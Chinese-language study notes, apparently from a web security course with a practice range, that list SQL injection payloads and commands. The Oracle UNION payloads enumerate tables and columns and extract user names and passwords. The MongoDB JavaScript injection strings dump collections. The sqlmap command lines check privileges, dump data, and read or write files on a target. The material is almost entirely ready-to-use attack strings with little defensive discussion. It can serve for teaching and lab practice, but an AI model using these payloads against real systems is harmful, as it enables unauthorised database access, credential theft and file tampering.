目录
Oracle:(注入语句和之前的mysql类似)
参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html
测回显:and 1=2 union select '1','2' from dual
爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
爆数据:and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
Mongodb 看代码(python数据库)
参考:https://www.runoob.com/mongodb/mongodb-query.html
测回显:/new_list.php?id=1'}); return ({title:1,content:'2
爆库: /new_list.php?id=1'}); return ({title:tojson(db),content:'1
爆表: /new_list.php?id=1'}); return ({title:tojson(//获取表名db.getCollectionNames()),content:'1
爆字段:/new_list.php?id=1'}); return ({title:tojson(//获取列名下的数据db.Authority_confidential.find()[0]),content:'1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
#SQLMAP使用
- 判断有无注入点
- 判断数据库类型及权限
- 选中对应的方法
- sqlmap不成功 分析是不是可能存在过滤及其他()操作
- 命令执行参考 https://www.cnblogs.com/bmjoker/p/9326258.html
放数据包的方法:-r 1.txt (登录后的数据包放到里面)
使用场景:利用sqlmap去跑某个特性的数据包。比如注入点产生在用户登陆后的地方,那么就需要把登陆后的数据包进行保存并利用sqlmap去跑,这样sqlmap才知道需要去对登陆后的页面进行注入,否则直接利用网址sqlmap也不会知道需要登陆就无法找到注入点。
-r代表跑指定文件,在文件需要注入的地方添加*号即可
python sqlmap.py -r 1.txt 判断是否存在注入
python sqlmap.py -r 1.txt --privileges 查看当前注入点权限或 --is-dba 查看是否为管理员权限
python sqlmap.py -r 1.txt --dbs查所有数据库或 --current 查当前使用的数据库名
python sqlmap.py -r 1.txt --tables -D "test" 列出数据库test下所有的表
python sqlmap.py -r 1.txt --columns -T "test1" -D "test" 列出test数据库中test1表的所有字段名
python sqlmap.py -r 1.txt --dump —C "pass" -T "test1" -D "test" 列出数据库test下test1表中的字段pass的值
后续可进行很多想要执行的操作:
例如:
写入或读取文件内容
python sqlmap.py -r 1.txt --file-read +绝对路径 读取该路径文件内容
python sqlmap.py -r 1.txt --file-write c:\1.txt /tmp/1.txt将本地C盘下的1.txt内容写到目标根目录下tmp目录的1.txt中
图文参考:WEB攻防-通用漏洞&SQL注入-sqlmap基本使用&墨者靶场_@墨竹的博客-CSDN博客